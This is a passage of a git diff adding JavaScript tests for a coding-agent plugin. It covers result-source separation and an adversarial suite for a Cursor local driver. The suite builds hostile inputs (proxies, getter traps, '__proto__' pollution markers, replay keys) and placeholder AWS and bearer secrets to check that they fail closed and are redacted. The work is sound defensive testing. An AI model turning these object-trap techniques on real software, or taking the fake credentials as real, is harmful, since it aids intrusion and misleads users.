+ removeRoot, + sdkResultFor, +} from './fixtures/r1-cursor-cloud-result-source-fixtures.mjs'; + +async function errorOfAsync(action, expectedCode, expectedPath) { + try { + await action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedCode !== undefined) { + assert.equal(error.code, expectedCode, `expected ${expectedCode}, got ${error.code}: ${error.message}`); + } + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + } + assert.fail(`expected a typed ${expectedCode ?? 'RunContractV1Error'} failure`); +} + +async function withStore(fn) { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + return await fn(store, root); + } finally { + removeRoot(root); + } +} + +async function readAllSanitized(store, ref) { + let offset = 0; + const parts = []; + for (;;) { + const page = await readSanitizedArtifactV1(store, ref, { offset, max_bytes: 8192 }); + parts.push(Buffer.from(page.selected_content, 'base64')); + if (page.more !== true) { + return Buffer.concat(parts).toString('utf8'); + } + offset = page.next_offset; + } +} + +function assertReceiptShape(receipt) { + assert.equal(receipt.schema, CURSOR_CLOUD_RESULT_SOURCE_SCHEMA_ID); + assert.equal(receipt.version, CURSOR_CLOUD_RESULT_SOURCE_VERSION); + assert.deepEqual(Object.keys(receipt), [...CURSOR_CLOUD_RESULT_SOURCE_RECEIPT_KEYS]); + assert.equal(Object.isFrozen(receipt), true); + assert.deepEqual(Object.keys(receipt.provider_report), [...CURSOR_CLOUD_RESULT_SOURCE_SLOT_KEYS]); + assert.deepEqual(Object.keys(receipt.git_evidence), [...CURSOR_CLOUD_RESULT_SOURCE_SLOT_KEYS]); +} + +function assertNoLeak(serialized, root, secrets) { + assert.equal(serialized.includes(root), false, 'receipt echoed the store root'); + for (const secret of secrets) { + assert.equal(serialized.includes(secret), false, `receipt leaked ${secret}`); + } +} + +test('the closed result-source vocabulary is exported frozen', () => { + assert.equal(CURSOR_CLOUD_RESULT_SOURCE_SCHEMA_ID, 'codex-co-engineer.cursor-cloud-result-source.v1'); + assert.equal(CURSOR_CLOUD_RESULT_SOURCE_VERSION, 1); + assert.equal(Object.isFrozen(CURSOR_CLOUD_RESULT_SOURCE_OPTION_KEYS), true); + assert.equal(Object.isFrozen(CURSOR_CLOUD_RESULT_SOURCE_RECEIPT_KEYS), true); + assert.equal(Object.isFrozen(CURSOR_CLOUD_RESULT_SOURCE_SLOT_KEYS), true); + assert.equal(Object.isFrozen(CURSOR_CLOUD_RESULT_SOURCE_INLINE_TAIL_KEYS), true); + assert.equal(Object.isFrozen(CURSOR_CLOUD_RESULT_SOURCE_FAILURE_KEYS), true); + assert.equal(Object.isFrozen(CURSOR_CLOUD_RESULT_SOURCE_ERROR_CODES), true); + assert.ok(CURSOR_CLOUD_RESULT_SOURCE_ERROR_CODES.includes('source_confusion_denied')); + assert.ok(CURSOR_CLOUD_RESULT_SOURCE_RECEIPT_KEYS.includes('provider_report')); + assert.ok(CURSOR_CLOUD_RESULT_SOURCE_RECEIPT_KEYS.includes('git_evidence')); +}); + +test('the result-source module uses P09/P10/P08 authorities and does not import protected seams', () => { + const source = readFileSync(fileURLToPath(new URL('../mcp/v3/cursor-cloud-result-source.mjs', import.meta.url)), 'utf8'); + assert.match(source, /sanitizeAndPublishArtifactV1/u); + assert.match(source, /readSanitizedArtifactV1/u); + assert.match(source, /verifyStoredArtifactV1/u); + assert.equal(source.includes('task-store.mjs'), false); + assert.equal(source.includes('acp-worker.mjs'), false); + assert.equal(source.includes('supervisor.mjs'), false); + assert.equal(source.includes('server.mjs'), false); + assert.equal(source.includes('provider-driver.mjs'), false); + assert.equal(source.includes('cursor-cloud-driver.mjs'), false); + assert.equal(source.includes('cursor-cloud-worker.mjs'), false); + assert.equal(source.includes('run-manifest.mjs'), true); +}); + +test('provider report and independently observed Git evidence stay distinct typed sources', async () => { + await withStore(async (store, root) => { + const output = providerOutput(); + const receipt = await materializeCursorCloudResultSourceV1(store, { + ...identityFor(), + observed: { provider_run_id: PROVIDER_RUN_ID, request_id: REQUEST_ID }, + provider_report: { status: 'finished', output }, + git_evidence: gitEvidenceFor(), + }); + assertReceiptShape(receipt); + assert.equal(receipt.run_id, RUN_ID); + assert.equal(receipt.assignment_id, ASSIGNMENT_ID); + assert.equal(receipt.provider, 'cursor-cloud'); + assert.equal(receipt.model, MODEL); + assert.equal(receipt.provider_report.source_kind, 'provider_report'); + assert.equal(receipt.provider_report.artifact_kind, CURSOR_CLOUD_PROVIDER_REPORT_ARTIFACT_KIND); + assert.equal(receipt.git_evidence.source_kind, 'git_evidence'); + assert.equal(receipt.git_evidence.artifact_kind, CURSOR_CLOUD_GIT_EVIDENCE_ARTIFACT_KIND); + assert.equal(receipt.provider_report.published, true); + assert.equal(receipt.git_evidence.published, true); + assert.equal(receipt.provider_report.status, 'finished'); + assert.equal(receipt.provider_report.head_sha, null); + assert.equal(receipt.provider_report.branch, null); + assert.equal(receipt.provider_report.pr_url, null); + assert.equal(receipt.git_evidence.status, null); + assert.equal(receipt.git_evidence.branch, BRANCH); + assert.equal(receipt.git_evidence.head_sha, HEAD_SHA); + assert.equal(receipt.git_evidence.pr_url, PR_URL); + assert.equal(receipt.git_evidence.relative_path, cursorCloudGitEvidencePathV1(identityFor())); + assert.equal(receipt.provider_report.relative_path, cursorCloudProviderReportPathV1(identityFor(), 'text/plain')); + assert.equal(isArtifactRelativePathV1(receipt.provider_report.relative_path), true); + assert.equal(isArtifactRelativePathV1(receipt.git_evidence.relative_path), true); + assert.notEqual(receipt.provider_report.relative_path, receipt.git_evidence.relative_path); + assert.equal(receipt.provider_report.sanitizer_version, ARTIFACT_SANITIZER_VERSION); + + const providerBytes = await readAllSanitized(store, receipt.provider_report.sanitized_ref); + const gitBytes = await readAllSanitized(store, receipt.git_evidence.sanitized_ref); + assert.match(providerBytes, /VERDICT: CLOUD PASS/u); + assert.match(providerBytes, new RegExp(HOSTILE_SHA, 'u')); + assert.equal(gitBytes.includes(HOSTILE_SHA), false); + assert.equal(gitBytes.includes(HOSTILE_PR_URL), false); + assert.equal(gitBytes.includes(HOSTILE_BRANCH), false); + assert.match(gitBytes, new RegExp(HEAD_SHA, 'u')); + assert.match(gitBytes, new RegExp(BRANCH, 'u')); + assertNoLeak(JSON.stringify(receipt), root, [SECRET]); + }); +}); + +test('Git facts that exist only in provider text are never trusted Git evidence', async () => { + await withStore(async (store) => { + const output = providerOutput(); + const identity = identityFor(); + delete identity.branch; + delete identity.head_sha; + delete identity.repository_url; + delete identity.repository_identity; + const receipt = await materializeCursorCloudResultSourceV1(store, { + ...identity, + provider_report: { + status: 'finished', + output: { + text: output, + git: { head_sha: HOSTILE_SHA, branch: HOSTILE_BRANCH, pr_url: HOSTILE_PR_URL }, + }, + }, + }); + assert.equal(receipt.provider_report.published, true); + assert.equal(receipt.git_evidence.published, false); + assert.equal(receipt.git_evidence.empty, true); + assert.equal(receipt.git_evidence.head_sha, null); + assert.equal(receipt.git_evidence.branch, null); + assert.equal(receipt.git_evidence.pr_url, null); + const stored = await readAllSanitized(store, receipt.provider_report.sanitized_ref); + assert.match(stored, new RegExp(HOSTILE_SHA, 'u')); + }); +}); + +test('the SDK projector never copies provider output into Git evidence', () => { + const projected = projectCursorCloudResultSourcesV1(sdkResultFor({ + result: { + text: providerOutput(), + git: { head_sha: HOSTILE_SHA, branch: HOSTILE_BRANCH, prUrl: HOSTILE_PR_URL }, + }, + })); + assert.equal(projected.git_evidence.branch, BRANCH); + assert.equal(projected.git_evidence.pr_url, PR_URL); + assert.equal(projected.git_evidence.head_sha, undefined); + assert.equal(JSON.stringify(projected.git_evidence).includes(HOSTILE_SHA), false); + assert.equal(JSON.stringify(projected.git_evidence).includes(HOSTILE_BRANCH), false); + assert.equal(projected.provider_report.status, 'finished'); + assert.equal(projected.provider_report.output.git.head_sha, HOSTILE_SHA); +}); + +test('provider text cannot be supplied as Git evidence', async () => { + await withStore(async (store) => { + await errorOfAsync( + () => projectCursorCloudGitEvidenceV1(providerOutput()), + 'source_confusion_denied', + 'git_evidence', + ); + await errorOfAsync( + () => materializeCursorCloudResultSourceV1(store, { + ...identityFor(), + git_evidence: providerOutput(), + }), + 'invalid_type', + 'git_evidence', + ); + }); +}); + +test('upstream truncation is marked separately from inline clipping', async () => { + await withStore(async (store) => { + const exact = exact4096('END!'); + const unclipped = await materializeCursorCloudResultSourceV1(store, { + ...identityFor(), + provider_report: { status: 'finished', output: exact }, + }); + assert.equal(unclipped.provider_report.source_truncated, false); + assert.equal(unclipped.provider_report.complete, true); + assert.equal(unclipped.provider_report.inline_clipped, false); + assert.equal(unclipped.provider_report.storage_limited, false); + assert.equal(unclipped.provider_report.inline_tail.source_truncated, false); + assert.equal(unclipped.provider_report.inline_tail.inline_clipped, false); + assert.equal(unclipped.provider_report.inline_tail.byte_length, INLINE_TAIL_MAX); + + const over = oversizeProviderOutput(); + const clipped = await materializeCursorCloudResultSourceV1(store, { + ...identityFor({ assignment_id: 'cloud-clip' }), + provider_report: { status: 'finished', output: over }, + }); + assert.equal(clipped.provider_report.source_truncated, false); + assert.equal(clipped.provider_report.complete, true); + assert.equal(clipped.provider_report.inline_clipped, true); + assert.equal(clipped.provider_report.storage_limited, false); + assert.equal(clipped.provider_report.inline_tail.source_truncated, false); + assert.equal(clipped.provider_report.inline_tail.inline_clipped, true); + assert.match(clipped.provider_report.inline_tail.text, /VERDICT: OVERSIZE PASS$/u); + assert.equal(await readAllSanitized(store, clipped.provider_report.sanitized_ref).then((text) => text.includes(over)), true); + + const truncated = await materializeCursorCloudResultSourceV1(store, { + ...identityFor({ assignment_id: 'cloud-trunc' }), + provider_report: { status: 'finished', output: 'short upstream clip', source_truncated: true }, + git_evidence: gitEvidenceFor({ source_truncated: false }), + }); + assert.equal(truncated.provider_report.source_truncated, true); + assert.equal(truncated.provider_report.complete, false); + assert.equal(truncated.provider_report.inline_clipped, false); + assert.equal(truncated.provider_report.inline_tail.source_truncated, true); + assert.equal(truncated.provider_report.inline_tail.complete, false); + assert.equal(truncated.git_evidence.source_truncated, false); + assert.equal(truncated.git_evidence.complete, true); + assert.equal(truncated.git_evidence.inline_clipped, false); + }); +}); + +test('provider and Git upstream truncation flags are independent', async () => { + await withStore(async (store) => { + const receipt = await materializeCursorCloudResultSourceV1(store, { + ...identityFor(), + provider_report: { status: 'finished', output: oversizeProviderOutput(), source_truncated: true }, + git_evidence: gitEvidenceFor({ source_truncated: true }), + }); + assert.equal(receipt.provider_report.source_truncated, true); + assert.equal(receipt.provider_report.inline_clipped, true); + assert.equal(receipt.provider_report.complete, false); + assert.equal(receipt.git_evidence.source_truncated, true); + assert.equal(receipt.git_evidence.complete, false); + assert.equal(receipt.provider_report.storage_limited, false); + assert.equal(receipt.git_evidence.storage_limited, false); + }); +}); + +test('explicit empty Git evidence stays unpublished and does not invent bytes', async () => { + await withStore(async (store) => { + const emptyGit = await materializeCursorCloudResultSourceV1(store, { + ...identityFor(), + git_evidence: {}, + }); + assertReceiptShape(emptyGit); + assert.equal(emptyGit.git_evidence.published, false); + assert.equal(emptyGit.git_evidence.empty, true); + assert.equal(emptyGit.git_evidence.source_byte_length, 0); + assert.equal(emptyGit.git_evidence.raw_ref, null); + assert.equal(emptyGit.git_evidence.sanitized_ref, null); + assert.equal(emptyGit.git_evidence.relative_path, null); + assert.equal(emptyGit.git_evidence.inline_tail, null); + assert.equal(emptyGit.published, false); + + const withProvider = await materializeCursorCloudResultSourceV1(store, { + ...identityFor({ assignment_id: 'cloud-empty-git' }), + provider_report: { status: 'finished', output: 'done' }, + git_evidence: {}, + }); + assert.equal(withProvider.provider_report.published, true); + assert.equal(withProvider.git_evidence.published, false); + assert.equal(withProvider.git_evidence.empty, true); + assert.equal(withProvider.git_evidence.source_byte_length, 0); + assert.equal(withProvider.git_evidence.raw_ref, null); + }); +}); + +test('crossing the raw class cap fails closed and does not pretend the upstream truncated', async () => { + await withStore(async (store) => { + const error = await errorOfAsync( + () => materializeCursorCloudResultSourceV1(store, { + ...identityFor(), + provider_report: { + status: 'finished', + output: 'x'.repeat(MAX_RAW_ARTIFACT_BYTE_LENGTH + 1), + source_truncated: false, + }, + }), + 'artifact_stream_over_cap', + 'provider_report', + ); + assert.equal(error.message.includes('source_truncated'), false); + assert.equal(JSON.stringify(projectCursorCloudResultSourcesV1({ + id: PROVIDER_RUN_ID, + status: 'finished', + result: oversizeProviderOutput(), + }).provider_report.source_truncated), 'false'); + }); +}); diff --git a/plugins/codex-co-engineer/test/r1-cursor-local-driver-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-cursor-local-driver-adversarial.test.mjs new file mode 100644 index 0000000..8ceaee6 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-cursor-local-driver-adversarial.test.mjs @@ -0,0 +1,931 @@ +// Adversarial runtime tests for the CursorLocalDriverV1 reconstruction +// (P19). Hostile descriptors, proxies, accessors, symbols, non-enumerables, +// exotic prototypes, sparse/cyclic/aliased/unknown-key inputs, provenance +// substitution, replay and fallback attempts, uncorrelated sessions, +// signature recombination, bound overflow, and lying transports must all +// fail closed inside the same content-free quarantine: no caller code runs, +// no hostile name or value escapes, and nothing is ever replayed. Everything +// runs offline against the scripted r1-cursor-local-transport fixture. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { + PROVIDER_DRIVER_VERSION, + bindProviderDriverV1, + buildDriverOperationRequestV1, +} from '../mcp/v3/provider-driver.mjs'; +import { + CURSOR_LOCAL_EVIDENCE_REQUEST_SCHEMA_ID, + CURSOR_LOCAL_REPLY_REQUEST_SCHEMA_ID, + MAX_EVIDENCE_EVENTS, + MAX_EVIDENCE_SEGMENT_BYTES, + MAX_LANE_EVIDENCE_BYTES, + REDACTED_MARKER, + createCursorLocalDriverV1, +} from '../mcp/v3/cursor-local-driver.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { childEnvelopeDigestV1 } from '../mcp/v3/identity.mjs'; +import { + FIXTURE_QUESTION_ID, + SECRET_AWS_KEY, + SECRET_BEARER_TOKEN, + SECRET_SPLIT_HEAD, + SECRET_SPLIT_TAIL, + buildCursorLocalFixtureV1, + createCursorLocalTransportStub, + cursorLocalDeclaration, +} from './fixtures/r1-cursor-local-transport.mjs'; + +const fixture = buildCursorLocalFixtureV1(); +const INCLUDE_ALL = ['detailed_events', 'live_progress']; +const HOSTILE_MARKERS = [ + 'super-secret-value-1234567890', + SECRET_BEARER_TOKEN, + SECRET_AWS_KEY, + 'spawn pipe broke', + 'connection reset mid-write', + 'observe died', + '__proto__', + 'polluted', +]; + +function expectCode(fn, code, message) { + if (code === undefined) { + assert.throws(fn, (error) => error instanceof RunContractV1Error, message); + return; + } + assert.throws(fn, (error) => { + if (!(error instanceof RunContractV1Error) || error.code !== code) return false; + const text = `${error.message}\u0000${String(error.path)}`; + for (const marker of HOSTILE_MARKERS) { + assert.equal(text.includes(marker), false, + `content-free violation: ${marker} escaped into an error surface`); + } + return true; + }, message); +} + +function create(scenario = 'happy', options = {}) { + const stub = createCursorLocalTransportStub(options.scenario ?? scenario); + // Wraps are installed BEFORE driver construction: the driver detaches its + // method references at creation, exactly like a real host would. + for (const [method, wrap] of Object.entries(options.wrap ?? {})) { + const original = stub.transport[method]; + stub.transport[method] = (request) => wrap(original, request); + } + const created = createCursorLocalDriverV1({ + declaration: cursorLocalDeclaration(), + model: fixture.model, + run_base_sha: fixture.base_sha, + transport: stub.transport, + }); + const bound = bindProviderDriverV1(created.driver, created.declaration); + const request = (operation, extras = {}) => + buildDriverOperationRequestV1(operation, fixture.envelope, extras); + return { bound, created, request, stub }; +} + +function dispatch(context) { + context.bound.preflight(context.request('preflight')); + return context.bound.launch(context.request('launch')); +} + +function evidenceRequest() { + return { + schema: CURSOR_LOCAL_EVIDENCE_REQUEST_SCHEMA_ID, + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + }; +} + +test('hostile option trees are rejected without running any caller code', () => { + const transport = createCursorLocalTransportStub('happy').transport; + const base = () => ({ + declaration: cursorLocalDeclaration(), + model: fixture.model, + run_base_sha: fixture.base_sha, + transport, + }); + + let getterRuns = 0; + const accessor = base(); + delete accessor.model; + Object.defineProperty(accessor, 'model', { + enumerable: true, + get() { + getterRuns += 1; + return fixture.model; + }, + }); + expectCode(() => createCursorLocalDriverV1(accessor), 'accessor_property_denied', + 'accessor options are denied'); + assert.equal(getterRuns, 0, 'option getters are never invoked'); + + expectCode(() => createCursorLocalDriverV1(new Proxy(base(), {})), 'proxy_denied', + 'proxied options are denied'); + const revocable = Proxy.revocable(base(), {}); + revocable.revoke(); + expectCode(() => createCursorLocalDriverV1(revocable.proxy), 'proxy_denied', + 'revoked proxies are denied'); + + class OptionsClass {} + expectCode(() => createCursorLocalDriverV1(Object.assign(new OptionsClass(), base())), + 'invalid_type', 'exotic option prototypes fail the plain-object gate'); + + expectCode(() => createCursorLocalDriverV1(Object.assign(base(), { [Symbol('hidden')]: 1 })), + 'symbol_key_denied', 'symbol keys are denied'); + const hidden = base(); + Object.defineProperty(hidden, 'run_base_sha', { + value: fixture.base_sha, enumerable: false, + }); + expectCode(() => createCursorLocalDriverV1(hidden), 'non_enumerable_property_denied', + 'non-enumerable keys are denied'); + expectCode(() => createCursorLocalDriverV1({ ...base(), polluted: '__proto__' }), + 'unknown_key', 'unknown option keys are denied'); + const incompleteNullProto = base(); + const nullProto = Object.assign(Object.create(null), transport); + delete nullProto.reply; + incompleteNullProto.transport = nullProto; + expectCode(() => createCursorLocalDriverV1(incompleteNullProto), 'invalid_surface', + 'null-prototype transports still need the exact method set'); + const completeNullProto = createCursorLocalDriverV1({ ...base(), transport: Object.assign(Object.create(null), transport) }); + assert.equal(completeNullProto.provider, 'cursor-local', + 'a complete null-prototype transport is plain data and is accepted'); +}); + +test('the transport surface accepts only plain concrete methods', () => { + const build = (transportOverrides, scenario = 'happy') => createCursorLocalDriverV1({ + declaration: cursorLocalDeclaration(), + model: fixture.model, + run_base_sha: fixture.base_sha, + transport: { ...createCursorLocalTransportStub(scenario).transport, ...transportOverrides }, + }); + + expectCode(() => build({ observe: undefined }).driver, 'invalid_operation', + 'undefined methods are denied'); + expectCode(() => build({ reply: 42 }).driver, 'invalid_operation', + 'non-function methods are denied'); + const accessorTransport = {}; + for (const method of ['availability', 'cancel', 'observe', 'reply', 'send']) { + accessorTransport[method] = () => ({}); + } + Object.defineProperty(accessorTransport, 'spawn', { + enumerable: true, get: () => () => ({}), + }); + expectCode(() => createCursorLocalDriverV1({ + declaration: cursorLocalDeclaration(), + model: fixture.model, + run_base_sha: fixture.base_sha, + transport: accessorTransport, + }), 'invalid_operation', 'accessor methods are denied'); + expectCode(() => build({}, 'happy').driver && createCursorLocalDriverV1({ + declaration: cursorLocalDeclaration(), + model: fixture.model, + run_base_sha: fixture.base_sha, + transport: new Proxy(createCursorLocalTransportStub('happy').transport, {}), + }), 'proxy_denied', 'proxied transports are denied'); + const extra = createCursorLocalTransportStub('happy').transport; + extra.respawn = () => ({}); + expectCode(() => createCursorLocalDriverV1({ + declaration: cursorLocalDeclaration(), + model: fixture.model, + run_base_sha: fixture.base_sha, + transport: extra, + }), 'invalid_surface', 'extra transport methods are denied'); +}); + +test('provenance substitution and omitted-field derivation are refused on every surface', () => { + const dshFixture = buildCursorLocalFixtureV1({ + provider: 'dsh', model: 'muse-spark-1.2-contributor', run_id: 'substituted-dsh-run', + }); + const grokFixture = buildCursorLocalFixtureV1({ + provider: 'grok', model: 'grok-4', run_id: 'substituted-grok-run', + }); + const foreignModel = buildCursorLocalFixtureV1({ + model: 'other-model-9', run_id: 'other-model-run', + }); + const wrongBase = buildCursorLocalFixtureV1({ + base_sha: 'a2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c2', + run_id: 'other-base-run', + }); + + const context = create('happy'); + for (const [label, foreign] of [ + ['dsh envelope', dshFixture], + ['grok envelope', grokFixture], + ['foreign model envelope', foreignModel], + ['foreign base sha envelope', wrongBase], + ]) { + const foreignRequest = buildDriverOperationRequestV1('preflight', foreign.envelope); + expectCode(() => context.bound.preflight(foreignRequest), undefined, + `${label} is refused by exact binding`); + } + + // A different child envelope digest over the same lane identity is stale. + expectCode(() => context.created.controls.readEvidence({ + schema: CURSOR_LOCAL_EVIDENCE_REQUEST_SCHEMA_ID, + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest.split('') + .map((c, i) => (i === 3 ? (c === '0' ? '1' : '0') : c)).join(''), + }), 'unknown_lane', 'a flipped digest never resolves to the lane'); + + const truncated = { + ...evidenceRequest(), + envelope_text: fixture.envelope_text.slice(0, -2), + }; + expectCode(() => context.created.controls.readEvidence(truncated), + undefined, 'tampered envelope text is refused by the strict parse'); +}); + +test('replay and fallback are impossible after a possible send', () => { + const uncertain = create('ambiguous_send'); + uncertain.bound.preflight(uncertain.request('preflight')); + assert.equal(uncertain.bound.launch(uncertain.request('launch')).disposition, + 'dispatch_uncertain'); + expectCode(() => uncertain.bound.launch(uncertain.request('launch')), 'replay_denied', + 'a possibly-sent prompt is never sent twice'); + assert.equal(uncertain.stub.state.sends, 1, 'exactly one dispatch attempt happened'); + + // Foreign keys on real requests are refused before any state change. + const dispatched = create('happy'); + dispatched.bound.preflight(dispatched.request('preflight')); + const foreignKeys = [ + ['fallback', true, 'replay_or_fallback_denied'], + ['retry_dispatch', 'now', 'replay_or_fallback_denied'], + ['resend', true, 'replay_or_fallback_denied'], + ['relaunch_attempts', 1, 'unknown_key'], + ]; + for (const [key, value, code] of foreignKeys) { + const tampered = { + schema: 'codex-co-engineer.driver-launch.v1', + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + [key]: value, + }; + assert.throws(() => dispatched.bound.launch(tampered), (error) => + error instanceof RunContractV1Error && error.code === code, + `foreign key ${key} must be refused with ${code}`); + } + assert.equal(dispatched.stub.state.spawnCalls, 0, + 'refused requests never reach the transport'); +}); + +test('pre-spawn not_sent stays distinct from post-spawn dispatch_uncertain', () => { + const spawnFailed = create('spawn_failure'); + spawnFailed.bound.preflight(spawnFailed.request('preflight')); + const notSentSpawn = spawnFailed.bound.launch(spawnFailed.request('launch')); + assert.equal(notSentSpawn.disposition, 'not_sent'); + assert.equal(notSentSpawn.detail_code, 'spawn_unavailable'); + assert.equal(typeof notSentSpawn.detail_message, 'string'); + assert.ok(!notSentSpawn.detail_message.includes(SECRET_BEARER_TOKEN), + 'the transport failure message never leaks'); + assert.equal(spawnFailed.stub.state.sends, 0, 'no dispatch follows a failed spawn'); + expectCode(() => spawnFailed.bound.reconcile(spawnFailed.request('reconcile')), + 'not_dispatched', 'reconcile cannot invent a dispatch'); + expectCode(() => spawnFailed.bound.cancel(spawnFailed.request('cancel')), + 'not_dispatched', 'cancel cannot invent a dispatch'); + // A pre-write send failure is still honestly not_sent. + const preWrite = create('pre_write_failure'); + preWrite.bound.preflight(preWrite.request('preflight')); + const notSentWrite = preWrite.bound.launch(preWrite.request('launch')); + assert.equal(notSentWrite.disposition, 'not_sent'); + assert.equal(notSentWrite.detail_code, 'dispatch_not_written'); + expectCode(() => preWrite.bound.reconcile(preWrite.request('reconcile')), 'not_dispatched', + 'nothing was written, so there is nothing to reconcile'); + + // Post-spawn uncertainty is distinct: no detail pair, reconcile allowed. + const ambiguous = create('ambiguous_send'); + ambiguous.bound.preflight(ambiguous.request('preflight')); + const uncertain = ambiguous.bound.launch(ambiguous.request('launch')); + assert.equal(uncertain.disposition, 'dispatch_uncertain'); + assert.equal(uncertain.detail_code, undefined, + 'dispatch_uncertain carries no detail pair'); + const observed = ambiguous.bound.reconcile(ambiguous.request('reconcile')); + assert.ok(['in_progress', 'terminal'].includes(observed.disposition), + 'reconcile may correlate the possibly-dispatched lane'); +}); + +test('uncorrelated sessions are never bound anywhere', () => { + const lostSession = create('session_lost'); + lostSession.bound.preflight(lostSession.request('preflight')); + lostSession.bound.launch(lostSession.request('launch')); + expectCode(() => lostSession.bound.reconcile( + lostSession.request('reconcile', { include: INCLUDE_ALL }), + ), 'uncorrelated_session', 'a corrupted binding echo is refused'); + const stillCancellable = lostSession.bound.cancel(lostSession.request('cancel')); + assert.equal(stillCancellable.disposition, 'cancel_confirmed', + 'cancellation keeps addressing the exact original session'); + assert.equal(stillCancellable.run_id, fixture.run_id); + expectCode(() => lostSession.created.controls.submitAttentionReply({ + schema: CURSOR_LOCAL_REPLY_REQUEST_SCHEMA_ID, + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + session_id: 'sess-unrelated-77', + question_id: 'q-any', + answer_text: 'nope', + }), 'no_attention_question', 'an unrelated session has no outstanding question here'); + + const wrongEcho = create('wrong_binding_echo'); + wrongEcho.bound.preflight(wrongEcho.request('preflight')); + wrongEcho.bound.launch(wrongEcho.request('launch')); + expectCode(() => wrongEcho.bound.reconcile(wrongEcho.request('reconcile')), + 'uncorrelated_session', 'a substituted binding digest is refused'); +}); + +test('lying transports produce content-free typed failures only', () => { + const observeBomb = create('observe_throws'); + observeBomb.bound.preflight(observeBomb.request('preflight')); + observeBomb.bound.launch(observeBomb.request('launch')); + expectCode(() => observeBomb.bound.reconcile( + observeBomb.request('reconcile', { include: INCLUDE_ALL }), + ), 'observe_failed', 'a throwing observation fails closed without leaking stderr'); + + const sendBomb = create('send_getter_bomb'); + sendBomb.bound.preflight(sendBomb.request('preflight')); + const receipt = sendBomb.bound.launch(sendBomb.request('launch')); + assert.equal(receipt.disposition, 'dispatch_uncertain', + 'unclassifiable send failures become honest post-spawn uncertainty'); + assert.ok(!receipt.disposition.includes('boom')); + + const getterCounter = { reads: 0 }; + const poisoned = createCursorLocalDriverV1({ + declaration: cursorLocalDeclaration(), + model: fixture.model, + run_base_sha: fixture.base_sha, + transport: { + availability: () => ({ available: true }), + cancel: () => ({}), + observe: () => ({}), + reply: () => ({}), + send: () => ({}), + spawn: () => { + const result = { session_id: 'sess-x', binding_digest: 'sha256:x' }; + Object.defineProperty(result, 'binding_digest', { + enumerable: true, + get() { + getterCounter.reads += 1; + return 'sha256:x'; + }, + }); + return result; + }, + }, + }); + // After a successful spawn launch may never throw: a getter-bearing spawn + // result leaves a live session with an unusable proof, which is honest + // dispatch_uncertain — and the getter itself is still never invoked. + const poisonedBound = bindProviderDriverV1(poisoned.driver, poisoned.declaration); + poisonedBound.preflight(buildDriverOperationRequestV1('preflight', fixture.envelope)); + const poisonedReceipt = + poisonedBound.launch(buildDriverOperationRequestV1('launch', fixture.envelope)); + assert.equal(poisonedReceipt.disposition, 'dispatch_uncertain', + 'getter-bearing spawn results become post-spawn uncertainty, never a throw'); + assert.equal(poisonedReceipt.child_envelope_digest, fixture.child_envelope_digest, + 'the uncertain receipt keeps the exact child identity'); + assert.equal(getterCounter.reads, 0, 'result getters are never invoked'); +}); + +test('promise-returning transports fail closed instead of hiding an ambiguous send', () => { + const asyncTransport = {}; + for (const method of ['availability', 'cancel', 'observe', 'reply', 'send', 'spawn']) { + asyncTransport[method] = async () => ({}); + } + const created = createCursorLocalDriverV1({ + declaration: cursorLocalDeclaration(), + model: fixture.model, + run_base_sha: fixture.base_sha, + transport: asyncTransport, + }); + const bound = bindProviderDriverV1(created.driver, created.declaration); + const preflightRequest = buildDriverOperationRequestV1('preflight', fixture.envelope); + assert.equal(bound.preflight(preflightRequest).disposition, 'blocked', + 'async availability is treated as unavailable'); +}); + +test('signature recombination across chunks and reconciliations is prevented', () => { + const context = create('secret_chunks'); + context.bound.preflight(context.request('preflight')); + context.bound.launch(context.request('launch')); + context.bound.reconcile(context.request('reconcile', { include: INCLUDE_ALL })); + context.bound.reconcile(context.request('reconcile', { include: INCLUDE_ALL })); + const drained = context.created.controls.readEvidence(evidenceRequest()); + const allText = drained.events.map((segment) => segment.text).join('\u0001'); + assert.equal(allText.includes('[REDACTED]'), true, 'signatures were redacted wholesale'); + assert.equal(allText.includes('sk-live-9988776655443322'), false, + 'the split bearer token never recombines across calls'); + assert.equal(allText.includes(SECRET_SPLIT_TAIL.replace(/^ve-/, '')), false, + 'the split token body is absent'); + assert.equal(allText.includes('AKIAIOSFODNN7EXAMPLE'), false, 'aws-shaped keys are redacted'); + assert.equal(allText.includes('super-secret-value-1234567890'), false, + 'key/value assignments are redacted'); + assert.equal(/Bearer\s+[A-Za-z0-9]/u.test(allText), false, + 'bearer signatures are redacted even in fragments'); + for (const segment of drained.events) { + assert.ok(segment.bytes <= MAX_EVIDENCE_SEGMENT_BYTES, 'segment byte bound holds'); + assert.ok(Buffer.byteLength(segment.text, 'utf8') === segment.bytes, + 'byte accounting is UTF-8 accurate'); + assert.equal(Buffer.from(segment.text, 'utf8').toString('utf8'), segment.text, + 'segments survive a UTF-8 round trip intact'); + } +}); + +test('multi-byte characters survive bounding without corruption', () => { + const emoji = '\u{1F600}'.repeat(4000); // ~16000 bytes, one segment boundary + let getterRuns = 0; + const stub = createCursorLocalTransportStub('happy'); + const originalObserve = stub.transport.observe; + stub.transport.observe = (request) => { + const result = originalObserve(request); + if (Array.isArray(request.include) && request.include.includes('live_progress')) { + const withoutEvents = { ...result }; + delete withoutEvents.events; + return { ...withoutEvents, progress_text: emoji }; + } + return result; + }; + const created = createCursorLocalDriverV1({ + declaration: cursorLocalDeclaration(), + model: fixture.model, + run_base_sha: fixture.base_sha, + transport: stub.transport, + }); + const bound = bindProviderDriverV1(created.driver, created.declaration); + bound.preflight(buildDriverOperationRequestV1('preflight', fixture.envelope)); + bound.launch(buildDriverOperationRequestV1('launch', fixture.envelope)); + 